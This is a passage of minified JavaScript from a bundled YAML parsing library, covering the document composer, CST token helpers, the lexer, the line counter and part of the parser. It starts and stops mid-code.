0,J),X={atKey:!1,atRoot:!0,directives:O.directives,options:O.options,schema:O.schema},$=Jf9.resolveProps(Y,{indicator:"doc-start",next:z??w?.[0],offset:q,onError:H,parentIndent:0,startOnNewline:!0});if($.found){if(O.directives.docStart=!0,z&&(z.type==="block-map"||z.type==="block-seq")&&!$.hasNewline)H($.end,"MISSING_CHAR","Block collection cannot start on same line with directives-end marker")}O.contents=z?yS4.composeNode(X,z,$,H):yS4.composeEmptyNode(X,$.end,Y,null,$,H);let _=O.contents.range[2],G=Hf9.resolveEnd(w,_,!1,H);if(G.comment)O.comment=G.comment;return O.range=[q,_,G.offset],O}Xf9.composeDoc=Of9});var c96=v((jf9)=>{var _f9=CA("process"),Gf9=r36(),Zf9=eIA(),qSA=ASA(),SS4=WY(),Wf9=IS4(),Df9=W$A();function YSA(A){if(typeof A==="number")return[A,A+1];if(Array.isArray(A))return A.length===2?A:[A[0],A[1]];let{offset:K,source:q}=A;return[K,K+(typeof q==="string"?q.length:1)]}function hS4(A){let K="",q=!1,Y=!1;for(let z=0;z<A.length;++z){let w=A[z];switch(w[0]){case"#":K+=(K===""?"":Y?` `:` `)+(w.substring(1)||" "),q=!0,Y=!1;break;case"%":if(A[z+1]?.[0]!=="#")z+=1;q=!1;break;default:if(!q)Y=!0;q=!1}}return{comment:K,afterEmptyLine:Y}}class bS4{constructor(A={}){this.doc=null,this.atDirectives=!1,this.prelude=[],this.errors=[],this.warnings=[],this.onError=(K,q,Y,z)=>{let w=YSA(K);if(z)this.warnings.push(new qSA.YAMLWarning(w,q,Y));else this.errors.push(new qSA.YAMLParseError(w,q,Y))},this.directives=new Gf9.Directives({version:A.version||"1.2"}),this.options=A}decorate(A,K){let{comment:q,afterEmptyLine:Y}=hS4(this.prelude);if(q){let z=A.contents;if(K)A.comment=A.comment?`${A.comment} ${q}`:q;else if(Y||A.directives.docStart||!z)A.commentBefore=q;else if(SS4.isCollection(z)&&!z.flow&&z.items.length>0){let w=z.items[0];if(SS4.isPair(w))w=w.key;let H=w.commentBefore;w.commentBefore=H?`${q} ${H}`:q}else{let w=z.commentBefore;z.commentBefore=w?`${q} ${w}`:q}}if(K)Array.prototype.push.apply(A.errors,this.errors),Array.prototype.push.apply(A.warnings,this.warnings);else A.errors=this.errors,A.warnings=this.warnings;this.prelude=[],this.errors=[],this.warnings=[]}streamInfo(){return{comment:hS4(this.prelude).comment,directives:this.directives,errors:this.errors,warnings:this.warnings}}*compose(A,K=!1,q=-1){for(let Y of A)yield*this.next(Y);yield*this.end(K,q)}*next(A){if(_f9.env.LOG_STREAM)console.dir(A,{depth:null});switch(A.type){case"directive":this.directives.add(A.source,(K,q,Y)=>{let z=YSA(A);z[0]+=K,this.onError(z,"BAD_DIRECTIVE",q,Y)}),this.prelude.push(A.source),this.atDirectives=!0;break;case"document":{let K=Wf9.composeDoc(this.options,this.directives,A,this.onError);if(this.atDirectives&&!K.directives.docStart)this.onError(A,"MISSING_CHAR","Missing directives-end/doc-start indicator line");if(this.decorate(K,!1),this.doc)yield this.doc;this.doc=K,this.atDirectives=!1;break}case"byte-order-mark":case"space":break;case"comment":case"newline":this.prelude.push(A.source);break;case"error":{let K=A.source?`${A.message}: ${JSON.stringify(A.source)}`:A.message,q=new qSA.YAMLParseError(YSA(A),"UNEXPECTED_TOKEN",K);if(this.atDirectives||!this.doc)this.errors.push(q);else this.doc.errors.push(q);break}case"doc-end":{if(!this.doc){this.errors.push(new qSA.YAMLParseError(YSA(A),"UNEXPECTED_TOKEN","Unexpected doc-end without preceding document"));break}this.doc.directives.docEnd=!0;let K=Df9.resolveEnd(A.end,A.offset+A.source.length,this.doc.options.strict,this.onError);if(this.decorate(this.doc,!0),K.comment){let q=this.doc.comment;this.doc.comment=q?`${q} ${K.comment}`:K.comment}this.doc.range[2]=K.offset;break}default:this.errors.push(new qSA.YAMLParseError(YSA(A),"UNEXPECTED_TOKEN",`Unsupported token ${A.type}`))}}*end(A=!1,K=-1){if(this.doc)this.decorate(this.doc,!0),yield this.doc,this.doc=null;else if(A){let q=Object.assign({_directives:this.directives},this.options),Y=new Zf9.Document(void 0,q);if(this.atDirectives)this.onError(K,"MISSING_CHAR","Missing directives-end indicator line");Y.range=[0,K,K],this.decorate(Y,!1),yield Y}}}jf9.Composer=bS4});var BS4=v((kf9)=>{var Pf9=Q96(),Vf9=p96(),ff9=ASA(),xS4=pIA();function Nf9(A,K=!0,q){if(A){let Y=(z,w,H)=>{let J=typeof z==="number"?z:Array.isArray(z)?z[0]:z.offset;if(q)q(J,w,H);else throw new ff9.YAMLParseError([J,J+1],w,H)};switch(A.type){case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return Vf9.resolveFlowScalar(A,K,Y);case"block-scalar":return Pf9.resolveBlockScalar({options:{strict:K}},A,Y)}}return null}function Tf9(A,K){let{implicitKey:q=!1,indent:Y,inFlow:z=!1,offset:w=-1,type:H="PLAIN"}=K,J=xS4.stringifyString({type:H,value:A},{implicitKey:q,indent:Y>0?" ".repeat(Y):"",inFlow:z,options:{blockQuote:!0,lineWidth:-1}}),O=K.end??[{type:"newline",offset:-1,indent:Y,source:` `}];switch(J[0]){case"|":case">":{let X=J.indexOf(` `),$=J.substring(0,X),_=J.substring(X+1)+` `,G=[{type:"block-scalar-header",offset:w,indent:Y,source:$}];if(!uS4(G,O))G.push({type:"newline",offset:-1,indent:Y,source:` `});return{type:"block-scalar",offset:w,indent:Y,props:G,source:_}}case'"':return{type:"double-quoted-scalar",offset:w,indent:Y,source:J,end:O};case"'":return{type:"single-quoted-scalar",offset:w,indent:Y,source:J,end:O};default:return{type:"scalar",offset:w,indent:Y,source:J,end:O}}}function vf9(A,K,q={}){let{afterKey:Y=!1,implicitKey:z=!1,inFlow:w=!1,type:H}=q,J="indent"in A?A.indent:null;if(Y&&typeof J==="number")J+=2;if(!H)switch(A.type){case"single-quoted-scalar":H="QUOTE_SINGLE";break;case"double-quoted-scalar":H="QUOTE_DOUBLE";break;case"block-scalar":{let X=A.props[0];if(X.type!=="block-scalar-header")throw Error("Invalid block scalar header");H=X.source[0]===">"?"BLOCK_FOLDED":"BLOCK_LITERAL";break}default:H="PLAIN"}let O=xS4.stringifyString({type:H,value:K},{implicitKey:z||J===null,indent:J!==null&&J>0?" ".repeat(J):"",inFlow:w,options:{blockQuote:!0,lineWidth:-1}});switch(O[0]){case"|":case">":Ef9(A,O);break;case'"':l96(A,O,"double-quoted-scalar");break;case"'":l96(A,O,"single-quoted-scalar");break;default:l96(A,O,"scalar")}}function Ef9(A,K){let q=K.indexOf(` `),Y=K.substring(0,q),z=K.substring(q+1)+` `;if(A.type==="block-scalar"){let w=A.props[0];if(w.type!=="block-scalar-header")throw Error("Invalid block scalar header");w.source=Y,A.source=z}else{let{offset:w}=A,H="indent"in A?A.indent:-1,J=[{type:"block-scalar-header",offset:w,indent:H,source:Y}];if(!uS4(J,"end"in A?A.end:void 0))J.push({type:"newline",offset:-1,indent:H,source:` `});for(let O of Object.keys(A))if(O!=="type"&&O!=="offset")delete A[O];Object.assign(A,{type:"block-scalar",indent:H,props:J,source:z})}}function uS4(A,K){if(K)for(let q of K)switch(q.type){case"space":case"comment":A.push(q);break;case"newline":return A.push(q),!0}return!1}function l96(A,K,q){switch(A.type){case"scalar":case"double-quoted-scalar":case"single-quoted-scalar":A.type=q,A.source=K;break;case"block-scalar":{let Y=A.props.slice(1),z=K.length;if(A.props[0].type==="block-scalar-header")z-=A.props[0].source.length;for(let w of Y)w.offset+=z;delete A.props,Object.assign(A,{type:q,source:K,end:Y});break}case"block-map":case"block-seq":{let z={type:"newline",offset:A.offset+K.length,indent:A.indent,source:` `};delete A.items,Object.assign(A,{type:q,source:K,end:[z]});break}default:{let Y="indent"in A?A.indent:-1,z="end"in A&&Array.isArray(A.end)?A.end.filter((w)=>w.type==="space"||w.type==="comment"||w.type==="newline"):[];for(let w of Object.keys(A))if(w!=="type"&&w!=="offset")delete A[w];Object.assign(A,{type:q,indent:Y,source:K,end:z})}}}kf9.createScalarToken=Tf9;kf9.resolveAsScalar=Nf9;kf9.setScalarValue=vf9});var mS4=v((If9)=>{var yf9=(A)=>("type"in A)?JY1(A):HY1(A);function JY1(A){switch(A.type){case"block-scalar":{let K="";for(let q of A.props)K+=JY1(q);return K+A.source}case"block-map":case"block-seq":{let K="";for(let q of A.items)K+=HY1(q);return K}case"flow-collection":{let K=A.start.source;for(let q of A.items)K+=HY1(q);for(let q of A.end)K+=q.source;return K}case"document":{let K=HY1(A);if(A.end)for(let q of A.end)K+=q.source;return K}default:{let K=A.source;if("end"in A&&A.end)for(let q of A.end)K+=q.source;return K}}}function HY1({start:A,key:K,sep:q,value:Y}){let z="";for(let w of A)z+=w.source;if(K)z+=JY1(K);if(q)for(let w of q)z+=w.source;if(Y)z+=JY1(Y);return z}If9.stringify=yf9});var QS4=v((bf9)=>{var i96=Symbol("break visit"),hf9=Symbol("skip children"),gS4=Symbol("remove item");function z7A(A,K){if("type"in A&&A.type==="document")A={start:A.start,value:A.value};FS4(Object.freeze([]),A,K)}z7A.BREAK=i96;z7A.SKIP=hf9;z7A.REMOVE=gS4;z7A.itemAtPath=(A,K)=>{let q=A;for(let[Y,z]of K){let w=q?.[Y];if(w&&"items"in w)q=w.items[z];else return}return q};z7A.parentCollection=(A,K)=>{let q=z7A.itemAtPath(A,K.slice(0,-1)),Y=K[K.length-1][0],z=q?.[Y];if(z&&"items"in z)return z;throw Error("Parent collection not found")};function FS4(A,K,q){let Y=q(K,A);if(typeof Y==="symbol")return Y;for(let z of["key","value"]){let w=K[z];if(w&&"items"in w){for(let H=0;H<w.items.length;++H){let J=FS4(Object.freeze(A.concat([[z,H]])),w.items[H],q);if(typeof J==="number")H=J-1;else if(J===i96)return i96;else if(J===gS4)w.items.splice(H,1),H-=1}if(typeof Y==="function"&&z==="key")Y=Y(K,A)}}return typeof Y==="function"?Y(K,A):Y}bf9.visit=z7A});var OY1=v((Uf9)=>{var n96=BS4(),uf9=mS4(),Bf9=QS4(),r96="\uFEFF",o96="\x02",a96="\x18",s96="\x1F",mf9=(A)=>!!A&&("items"in A),gf9=(A)=>!!A&&(A.type==="scalar"||A.type==="single-quoted-scalar"||A.type==="double-quoted-scalar"||A.type==="block-scalar");function Ff9(A){switch(A){case r96:return"<BOM>";case o96:return"<DOC>";case a96:return"<FLOW_END>";case s96:return"<SCALAR>";default:return JSON.stringify(A)}}function Qf9(A){switch(A){case r96:return"byte-order-mark";case o96:return"doc-mode";case a96:return"flow-error-end";case s96:return"scalar";case"---":return"doc-start";case"...":return"doc-end";case"":case` `:case`\r `:return"newline";case"-":return"seq-item-ind";case"?":return"explicit-key-ind";case":":return"map-value-ind";case"{":return"flow-map-start";case"}":return"flow-map-end";case"[":return"flow-seq-start";case"]":return"flow-seq-end";case",":return"comma"}switch(A[0]){case" ":case"\t":return"space";case"#":return"comment";case"%":return"directive-line";case"*":return"alias";case"&":return"anchor";case"!":return"tag";case"'":return"single-quoted-scalar";case'"':return"double-quoted-scalar";case"|":case">":return"block-scalar-header"}return null}Uf9.createScalarToken=n96.createScalarToken;Uf9.resolveAsScalar=n96.resolveAsScalar;Uf9.setScalarValue=n96.setScalarValue;Uf9.stringify=uf9.stringify;Uf9.visit=Bf9.visit;Uf9.BOM=r96;Uf9.DOCUMENT=o96;Uf9.FLOW_END=a96;Uf9.SCALAR=s96;Uf9.isCollection=mf9;Uf9.isScalar=gf9;Uf9.prettyToken=Ff9;Uf9.tokenType=Qf9});var e96=v((YN9)=>{var zSA=OY1();function Fy(A){switch(A){case void 0:case" ":case` `:case"\r":case"\t":return!0;default:return!1}}var US4=new Set("0123456789ABCDEFabcdef"),KN9=new Set("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-#;/?:@&=+$_.!~*'()"),XY1=new Set(",[]{}"),qN9=new Set(` ,[]{} \r `),t96=(A)=>!A||qN9.has(A);class pS4{constructor(){this.atEnd=!1,this.blockScalarIndent=-1,this.blockScalarKeep=!1,this.buffer="",this.flowKey=!1,this.flowLevel=0,this.indentNext=0,this.indentValue=0,this.lineEndPos=null,this.next=null,this.pos=0}*lex(A,K=!1){if(A){if(typeof A!=="string")throw TypeError("source is not a string");this.buffer=this.buffer?this.buffer+A:A,this.lineEndPos=null}this.atEnd=!K;let q=this.next??"stream";while(q&&(K||this.hasChars(1)))q=yield*this.parseNext(q)}atLineEnd(){let A=this.pos,K=this.buffer[A];while(K===" "||K==="\t")K=this.buffer[++A];if(!K||K==="#"||K===` `)return!0;if(K==="\r")return this.buffer[A+1]===` `;return!1}charAt(A){return this.buffer[this.pos+A]}continueScalar(A){let K=this.buffer[A];if(this.indentNext>0){let q=0;while(K===" ")K=this.buffer[++q+A];if(K==="\r"){let Y=this.buffer[q+A+1];if(Y===` `||!Y&&!this.atEnd)return A+q+1}return K===` `||q>=this.indentNext||!K&&!this.atEnd?A+q:-1}if(K==="-"||K==="."){let q=this.buffer.substr(A,3);if((q==="---"||q==="...")&&Fy(this.buffer[A+3]))return-1}return A}getLine(){let A=this.lineEndPos;if(typeof A!=="number"||A!==-1&&A<this.pos)A=this.buffer.indexOf(` `,this.pos),this.lineEndPos=A;if(A===-1)return this.atEnd?this.buffer.substring(this.pos):null;if(this.buffer[A-1]==="\r")A-=1;return this.buffer.substring(this.pos,A)}hasChars(A){return this.pos+A<=this.buffer.length}setNext(A){return this.buffer=this.buffer.substring(this.pos),this.pos=0,this.lineEndPos=null,this.next=A,null}peek(A){return this.buffer.substr(this.pos,A)}*parseNext(A){switch(A){case"stream":return yield*this.parseStream();case"line-start":return yield*this.parseLineStart();case"block-start":return yield*this.parseBlockStart();case"doc":return yield*this.parseDocument();case"flow":return yield*this.parseFlowCollection();case"quoted-scalar":return yield*this.parseQuotedScalar();case"block-scalar":return yield*this.parseBlockScalar();case"plain-scalar":return yield*this.parsePlainScalar()}}*parseStream(){let A=this.getLine();if(A===null)return this.setNext("stream");if(A[0]===zSA.BOM)yield*this.pushCount(1),A=A.substring(1);if(A[0]==="%"){let K=A.length,q=A.indexOf("#");while(q!==-1){let z=A[q-1];if(z===" "||z==="\t"){K=q-1;break}else q=A.indexOf("#",q+1)}while(!0){let z=A[K-1];if(z===" "||z==="\t")K-=1;else break}let Y=(yield*this.pushCount(K))+(yield*this.pushSpaces(!0));return yield*this.pushCount(A.length-Y),this.pushNewline(),"stream"}if(this.atLineEnd()){let K=yield*this.pushSpaces(!0);return yield*this.pushCount(A.length-K),yield*this.pushNewline(),"stream"}return yield zSA.DOCUMENT,yield*this.parseLineStart()}*parseLineStart(){let A=this.charAt(0);if(!A&&!this.atEnd)return this.setNext("line-start");if(A==="-"||A==="."){if(!this.atEnd&&!this.hasChars(4))return this.setNext("line-start");let K=this.peek(3);if((K==="---"||K==="...")&&Fy(this.charAt(3)))return yield*this.pushCount(3),this.indentValue=0,this.indentNext=0,K==="---"?"doc":"stream"}if(this.indentValue=yield*this.pushSpaces(!1),this.indentNext>this.indentValue&&!Fy(this.charAt(1)))this.indentNext=this.indentValue;return yield*this.parseBlockStart()}*parseBlockStart(){let[A,K]=this.peek(2);if(!K&&!this.atEnd)return this.setNext("block-start");if((A==="-"||A==="?"||A===":")&&Fy(K)){let q=(yield*this.pushCount(1))+(yield*this.pushSpaces(!0));return this.indentNext=this.indentValue+1,this.indentValue+=q,yield*this.parseBlockStart()}return"doc"}*parseDocument(){yield*this.pushSpaces(!0);let A=this.getLine();if(A===null)return this.setNext("doc");let K=yield*this.pushIndicators();switch(A[K]){case"#":yield*this.pushCount(A.length-K);case void 0:return yield*this.pushNewline(),yield*this.parseLineStart();case"{":case"[":return yield*this.pushCount(1),this.flowKey=!1,this.flowLevel=1,"flow";case"}":case"]":return yield*this.pushCount(1),"doc";case"*":return yield*this.pushUntil(t96),"doc";case'"':case"'":return yield*this.parseQuotedScalar();case"|":case">":return K+=yield*this.parseBlockScalarHeader(),K+=yield*this.pushSpaces(!0),yield*this.pushCount(A.length-K),yield*this.pushNewline(),yield*this.parseBlockScalar();default:return yield*this.parsePlainScalar()}}*parseFlowCollection(){let A,K,q=-1;do{if(A=yield*this.pushNewline(),A>0)K=yield*this.pushSpaces(!1),this.indentValue=q=K;else K=0;K+=yield*this.pushSpaces(!0)}while(A+K>0);let Y=this.getLine();if(Y===null)return this.setNext("flow");if(q!==-1&&q<this.indentNext&&Y[0]!=="#"||q===0&&(Y.startsWith("---")||Y.startsWith("..."))&&Fy(Y[3])){if(!(q===this.indentNext-1&&this.flowLevel===1&&(Y[0]==="]"||Y[0]==="}")))return this.flowLevel=0,yield zSA.FLOW_END,yield*this.parseLineStart()}let z=0;while(Y[z]===",")z+=yield*this.pushCount(1),z+=yield*this.pushSpaces(!0),this.flowKey=!1;switch(z+=yield*this.pushIndicators(),Y[z]){case void 0:return"flow";case"#":return yield*this.pushCount(Y.length-z),"flow";case"{":case"[":return yield*this.pushCount(1),this.flowKey=!1,this.flowLevel+=1,"flow";case"}":case"]":return yield*this.pushCount(1),this.flowKey=!0,this.flowLevel-=1,this.flowLevel?"flow":"doc";case"*":return yield*this.pushUntil(t96),"flow";case'"':case"'":return this.flowKey=!0,yield*this.parseQuotedScalar();case":":{let w=this.charAt(1);if(this.flowKey||Fy(w)||w===",")return this.flowKey=!1,yield*this.pushCount(1),yield*this.pushSpaces(!0),"flow"}default:return this.flowKey=!1,yield*this.parsePlainScalar()}}*parseQuotedScalar(){let A=this.charAt(0),K=this.buffer.indexOf(A,this.pos+1);if(A==="'")while(K!==-1&&this.buffer[K+1]==="'")K=this.buffer.indexOf("'",K+2);else while(K!==-1){let z=0;while(this.buffer[K-1-z]==="\\")z+=1;if(z%2===0)break;K=this.buffer.indexOf('"',K+1)}let q=this.buffer.substring(0,K),Y=q.indexOf(` `,this.pos);if(Y!==-1){while(Y!==-1){let z=this.continueScalar(Y+1);if(z===-1)break;Y=q.indexOf(` `,z)}if(Y!==-1)K=Y-(q[Y-1]==="\r"?2:1)}if(K===-1){if(!this.atEnd)return this.setNext("quoted-scalar");K=this.buffer.length}return yield*this.pushToIndex(K+1,!1),this.flowLevel?"flow":"doc"}*parseBlockScalarHeader(){this.blockScalarIndent=-1,this.blockScalarKeep=!1;let A=this.pos;while(!0){let K=this.buffer[++A];if(K==="+")this.blockScalarKeep=!0;else if(K>"0"&&K<="9")this.blockScalarIndent=Number(K)-1;else if(K!=="-")break}return yield*this.pushUntil((K)=>Fy(K)||K==="#")}*parseBlockScalar(){let A=this.pos-1,K=0,q;A:for(let z=this.pos;q=this.buffer[z];++z)switch(q){case" ":K+=1;break;case` `:A=z,K=0;break;case"\r":{let w=this.buffer[z+1];if(!w&&!this.atEnd)return this.setNext("block-scalar");if(w===` `)break}default:break A}if(!q&&!this.atEnd)return this.setNext("block-scalar");if(K>=this.indentNext){if(this.blockScalarIndent===-1)this.indentNext=K;else this.indentNext=this.blockScalarIndent+(this.indentNext===0?1:this.indentNext);do{let z=this.continueScalar(A+1);if(z===-1)break;A=this.buffer.indexOf(` `,z)}while(A!==-1);if(A===-1){if(!this.atEnd)return this.setNext("block-scalar");A=this.buffer.length}}let Y=A+1;q=this.buffer[Y];while(q===" ")q=this.buffer[++Y];if(q==="\t"){while(q==="\t"||q===" "||q==="\r"||q===` `)q=this.buffer[++Y];A=Y-1}else if(!this.blockScalarKeep)do{let z=A-1,w=this.buffer[z];if(w==="\r")w=this.buffer[--z];let H=z;while(w===" ")w=this.buffer[--z];if(w===` `&&z>=this.pos&&z+1+K>H)A=z;else break}while(!0);return yield zSA.SCALAR,yield*this.pushToIndex(A+1,!0),yield*this.parseLineStart()}*parsePlainScalar(){let A=this.flowLevel>0,K=this.pos-1,q=this.pos-1,Y;while(Y=this.buffer[++q])if(Y===":"){let z=this.buffer[q+1];if(Fy(z)||A&&XY1.has(z))break;K=q}else if(Fy(Y)){let z=this.buffer[q+1];if(Y==="\r")if(z===` `)q+=1,Y=` `,z=this.buffer[q+1];else K=q;if(z==="#"||A&&XY1.has(z))break;if(Y===` `){let w=this.continueScalar(q+1);if(w===-1)break;q=Math.max(q,w-2)}}else{if(A&&XY1.has(Y))break;K=q}if(!Y&&!this.atEnd)return this.setNext("plain-scalar");return yield zSA.SCALAR,yield*this.pushToIndex(K+1,!0),A?"flow":"doc"}*pushCount(A){if(A>0)return yield this.buffer.substr(this.pos,A),this.pos+=A,A;return 0}*pushToIndex(A,K){let q=this.buffer.slice(this.pos,A);if(q)return yield q,this.pos+=q.length,q.length;else if(K)yield"";return 0}*pushIndicators(){switch(this.charAt(0)){case"!":return(yield*this.pushTag())+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators());case"&":return(yield*this.pushUntil(t96))+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators());case"-":case"?":case":":{let A=this.flowLevel>0,K=this.charAt(1);if(Fy(K)||A&&XY1.has(K)){if(!A)this.indentNext=this.indentValue+1;else if(this.flowKey)this.flowKey=!1;return(yield*this.pushCount(1))+(yield*this.pushSpaces(!0))+(yield*this.pushIndicators())}}}return 0}*pushTag(){if(this.charAt(1)==="<"){let A=this.pos+2,K=this.buffer[A];while(!Fy(K)&&K!==">")K=this.buffer[++A];return yield*this.pushToIndex(K===">"?A+1:A,!1)}else{let A=this.pos+1,K=this.buffer[A];while(K)if(KN9.has(K))K=this.buffer[++A];else if(K==="%"&&US4.has(this.buffer[A+1])&&US4.has(this.buffer[A+2]))K=this.buffer[A+=3];else break;return yield*this.pushToIndex(A,!1)}}*pushNewline(){let A=this.buffer[this.pos];if(A===` `)return yield*this.pushCount(1);else if(A==="\r"&&this.charAt(1)===` `)return yield*this.pushCount(2);else return 0}*pushSpaces(A){let K=this.pos-1,q;do q=this.buffer[++K];while(q===" "||A&&q==="\t");let Y=K-this.pos;if(Y>0)yield this.buffer.substr(this.pos,Y),this.pos=K;return Y}*pushUntil(A){let K=this.pos,q=this.buffer[K];while(!A(q))q=this.buffer[++K];return yield*this.pushToIndex(K,!1)}}YN9.Lexer=pS4});var AY6=v((wN9)=>{class dS4{constructor(){this.lineStarts=[],this.addNewLine=(A)=>this.lineStarts.push(A),this.linePos=(A)=>{let K=0,q=this.lineStarts.length;while(K<q){let z=K+q>>1;if(this.lineStarts[z]<A)K=z+1;else q=z}if(this.lineStarts[K]===A)return{line:K+1,col:1};if(K===0)return{line:0,col:A};let Y=this.lineStarts[K-1];return{line:K,col:A-Y+1}}}}wN9.LineCounter=dS4});var KY6=v((XN9)=>{var JN9=CA("process"),cS4=OY1(),ON9=e96();function gr(A,K){for(let q=0;q<A.length;++q)if(A[q].type===K)return!0;return!1}function lS4(A){for(let K=0;K<A.length;++K)switch(A[K].type){case"space":case"comment":case"newline":break;default:return K}return-1}function nS4(A){switch(A?.type){case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":case"flow-collection":return!0;default:return!1}}function $Y1(A){switch(A.type){case"document":return A.start;case"block-map":{let K=A.items[A.items.length-1];return K.sep??K.start}case"block-seq":return A.items[A.items.length-1].start;default:return[]}}function D$A(A){if(A.length===0)return[];let K=A.length;A:while(--K>=0)switch(A[K].type){case"doc-start":case"explicit-key-ind":case"map-value-ind":case"seq-item-ind":case"newline":break A}while(A[++K]?.type==="space");return A.splice(K,A.length)}function iS4(A){if(A.start.type==="flow-seq-start"){for(let K of A.items)if(K.sep&&!K.value&&!gr(K.start,"explicit-key-ind")&&!gr(K.sep,"map-value-ind")){if(K.key)K.value=K.key;if(delete K.key,nS4(K.value))if(K.value.end)Array.prototype.push.apply(K.value.end,K.sep);else K.value.end=K.sep;else Array.prototype.push.apply(K.start,K.sep);delete K.sep}}}class rS4{constructor(A){this.atNewLine=!0,this.atScalar=!1,this.indent=0,this.offset=0,this.onKeyLine=!1,this.stack=[],this.source="",this.type="",this.lexer=new ON9.Lexer,this.onNewLine=A}*parse(A,K=!1){if(this.onNewLine&&this.offset===0)this.onNewLine(0);for(let q of this.lexer.lex(A,K))yield*this.next(q);if(!K)yield*this.end()}*next(A){if(this.source=A,JN9.env.LOG_TOKENS)console.log("|",cS4.prettyToken(A));if(this.atScalar){this.atScalar=!1,yield*this.step(),this.offset+=A.length;return}let K=cS4.tokenType(A);if(!K){let q=`Not a YAML token: ${A}`;yield*this.pop({type:"error",offset:this.offset,message:q,source:A}),this.offset+=A.length}else if(K==="scalar")this.atNewLine=!1,this.atScalar=!0,this.type="scalar";else{switch(this.type=K,yield*this.step(),K){case"newline":if(this.atNewLine=!0,this.indent=0,this.onNewLine)this.onNewLine(this.offset+A.length);break;case"space":if(this.atNewLine&&A[0]===" ")this.indent+=A.length;break;case"explicit-key-ind":case"map-value-ind":case"seq-item-ind":if(this.atNewLine)this.indent+=A.length;break;case"doc-mode":case"flow-error-end":return;default:this.atNewLine=!1}this.offset+=A.length}}*end(){while(this.stack.length>0)yield*this.pop()}get sourceToken(){return{type:this.type,offset:this.offset,indent:this.indent,source:this.source}}*step(){let A=this.peek(1);if(this.type==="doc-end"&&(!A||A.type!=="doc-end")){while(this.stack.length>0)yield*this.pop();this.stack.push({type:"doc-end",offset:this.offset,source:this.source});return}if(!A)return yield*this.stream();switch(A.type){case"document":return yield*this.document(A);case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return yield*this.scalar(A);case"block-scalar":return yield*this.blockScalar(A);case"block-map":return yield*this.blockMap(A);case"block-seq":return yield*this.blockSequence(A);case"flow-collection":return yield*this.flowCollection(A);case"doc-end":return yield*this.documentEnd(A)}yield*this.pop()}peek(A){return this.stack[this.stack.length-A]}*pop(A){let K=A??this.stack.pop();if(!K)yield{type:"error",offset:this.offset,source:"",message:"Tried to pop an empty stack"};else if(this.stack.length===0)yield K;else{let q=this.peek(1);if(K.type==="block-scalar")K.indent="indent"in q?q.indent:0;else if(K.type==="flow-collection"&&q.type==="document")K.indent=0;if(K.type==="flow-collection")iS4(K);switch(q.type){case"document":q.value=K;break;case"block-scalar":q.props.push(K);break;case"block-map":{let Y=q.items[q.items.length-1];if(Y.value){q.items.push({start:[],key:K,sep:[]}),this.onKeyLine=!0;return}else if(Y.sep)Y.value=K;else{Object.assign(Y,{key:K,sep:[]}),this.onKeyLine=!Y.explicitKey;return}break}case"block-seq":{let Y=q.items[q.items.length-1];if(Y.value)q.items.push({start:[],value:K});else Y.value=K;break}case"flow-collection":{let Y=q.items[q.items.length-1];if(!Y||Y.value)q.items.push({start:[],key:K,sep:[]});else if(Y.sep)Y.value=K;else Object.assign(Y,{key:K,sep:[]});return}default:yield*this.pop(),yield*this.pop(K)}if((q.type==="document"||q.type==="block-map"||q.type==="block-seq")&&(K.type==="block-map"||K.type==="block-seq")){let Y=K.items[K.items.length-1];if(Y&&!Y.sep&&!Y.value&&Y.start.length>0&&lS4(Y.start)===-1&&(K.indent===0||Y.start.every((z)=>z.type!=="comment"||z.indent<K.indent))){if(q.type==="document")q.end=Y.start;else q.items.push({start:Y.start});K.items.splice(-1,1)}}}}*stream(){switch(this.type){case"directive-line":yield{type:"directive",offset:this.offset,source:this.source};return;case"byte-order-mark":case"space":case"comment":case"newline":yield this.sourceToken;return;case"doc-mode":case"doc-start":{let A={type:"document",offset:this.offset,start:[]};if(this.type==="doc-start")A.start.push(this.sourceToken);this.stack.push(A);return}}yield{type:"error",offset:this.offset,message:`Unexpected ${this.type} token in YAML stream`,source:this.source}}*document(A){if(A.value)return yield*this.lineEnd(A);switch(this.type){case"doc-start":{if(lS4(A.start)!==-1)yield*this.pop(),yield*this.step();else A.start.push(this.sourceToken);return}case"anchor":case"tag":case"space":case"comment":case"newline":A.start.push(this.sourceToken);return}let K=this.startBlockValue(A);if(K)this.stack.push(K);else yield{type:"error",offset:this.offset,message:`Unexpected ${this.type} token in YAML document`,source:this.source}}*scalar(A){if(this.type==="map-value-ind"){let K=$Y1(this.peek(2)),q=D$A(K),Y;if(A.end)Y=A.end,Y.push(this.sourceToken),delete A.end;else Y=[this.sourceToken];let z={type:"block-map",offset:A.offset,indent:A.indent,items:[{start:q,key:A,sep:Y}]};this.onKeyLine=!0,this.stack[this.stack.length-1]=z}else yield*this.lineEnd(A)}*blockScalar(A){switch(this.type){case"space":case"comment":case"newline":A.props.push(this.sourceToken);return;case"scalar":if(A.source=this.source,this.atNewLine=!0,this.indent=0,this.onNewLine){let K=this.source.indexOf(` `)+1;while(K!==0)this.onNewLine(this.offset+K),K=this.source.indexOf(` `,K)+1}yield*this.pop();break;default:yield*this.pop(),yield*this.step()}}*blockMap(A){let K=A.items[A.items.length-1];switch(this.type){case"newline":if(this.onKeyLine=!1,K.value){let q="end"in K.value?K.value.end:void 0;if((Array.isArray(q)?q[q.length-1]:void 0)?.type==="comment")q?.push(this.sourceToken);else A.items.push({start:[this.sourceToken]})}else if(K.sep)K.sep.push(this.sourceToken);else K.start.push(this.sourceToken);return;case"space":case"comment":if(K.value)A.items.push({start:[this.sourceToken]});else if(K.sep)K.sep.push(this.sourceToken);else{if(this.atIndentedComment(K.start,A.indent)){let Y=A.items[A.items.length-2]?.value?.end;if(Array.isArray(Y)){Array.prototype.push.apply(Y,K.start),Y.push(this.sourceToken),A.items.pop();return}}K.start.push(this.sourceToken)}return}if(this.indent>=A.indent){let q=!this.onKeyLine&&this.indent===A.indent,Y=q&&(K.sep||K.explicitKey)&&this.type!=="seq-item-ind",z=[];if(Y&&K.sep&&!K.value){let w=[];for(let H=0;H<K.sep.length;++H){let 